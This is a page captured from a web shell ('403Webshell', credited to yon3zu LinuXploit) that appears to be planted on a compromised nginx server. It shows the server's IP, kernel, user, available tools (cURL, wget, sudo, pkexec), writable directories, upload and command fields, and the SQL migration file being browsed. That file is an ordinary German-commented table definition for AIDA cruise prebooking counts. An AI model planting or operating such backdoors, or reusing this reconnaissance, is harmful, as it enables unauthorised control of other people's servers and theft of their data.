403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/seaside2.pacim.de/web/database/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/seaside2.pacim.de/web/database/migrations/024_aida_prebookings.sql
-- 024: AIDA-Vorbucherlisten als eigene Tabelle in pacim_saas.
-- Daten kommen wöchentlich pro Cruise+Schiff rein → mehrfache Snapshots je Cruise.
--
-- Analyse pacim_import.pacim_prebooking:
--   - 6999 rows / 370 distinct cruises → ~19 Snapshots/Cruise (oft identische Werte)
--   - 4 distinct Schiffe (AIDAdiva, AIDAmar, AIDAluna, AIDAsol)
--   - Tabelle nur ~3 MB → keine massive Größe; Optimierung über INDEX + kleinere Datentypen
--
-- Verbesserungen ggü. Original:
--   - prefix "prebooking_" weg, kürzere Spaltennamen
--   - smallint statt int für Counts (max ~32k reicht für Stellplätze, Passagiere)
--   - content_hash über die Zähl-Spalten → erlaubt späteres Dedupe bei Re-Imports
--   - event_id (NULL, FK) als Brücke zu events
--   - composite INDEX (cruise, created_at) für schnelles "letzter Snapshot pro Cruise"
--   - INDEX auf begin_date und (ship, begin_date) für Event-/Schiff-Matching

CREATE TABLE IF NOT EXISTS `aida_prebookings` (
  `id`            INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
  `cruise`        VARCHAR(32) NOT NULL,
  `ship`          VARCHAR(255) DEFAULT NULL,
  `duration_days` SMALLINT UNSIGNED DEFAULT NULL,
  `begin_date`    DATE DEFAULT NULL,
  `end_date`      DATE DEFAULT NULL,
  `cars`          SMALLINT UNSIGNED DEFAULT NULL,
  `halle`         SMALLINT UNSIGNED DEFAULT NULL,
  `aussen`        SMALLINT UNSIGNED DEFAULT NULL,
  `camper`        SMALLINT UNSIGNED DEFAULT NULL,
  `valet`         SMALLINT UNSIGNED DEFAULT NULL,
  `passengers`    SMALLINT UNSIGNED DEFAULT NULL,
  `source_hash`   VARCHAR(32) DEFAULT NULL,   -- ursprünglicher Mail-/Datei-MD5 (Import-Identität)
  `content_hash`  CHAR(40) DEFAULT NULL,      -- SHA1 über die Zähl-Spalten (für Dedupe)
  `created_at`    DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
  KEY `idx_cruise_created` (`cruise`, `created_at`),
  KEY `idx_begin_date`     (`begin_date`),
  KEY `idx_ship_begin`     (`ship`, `begin_date`),
  KEY `idx_source_hash`    (`source_hash`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

Youez - 2016 - github.com/yon3zu
LinuXploit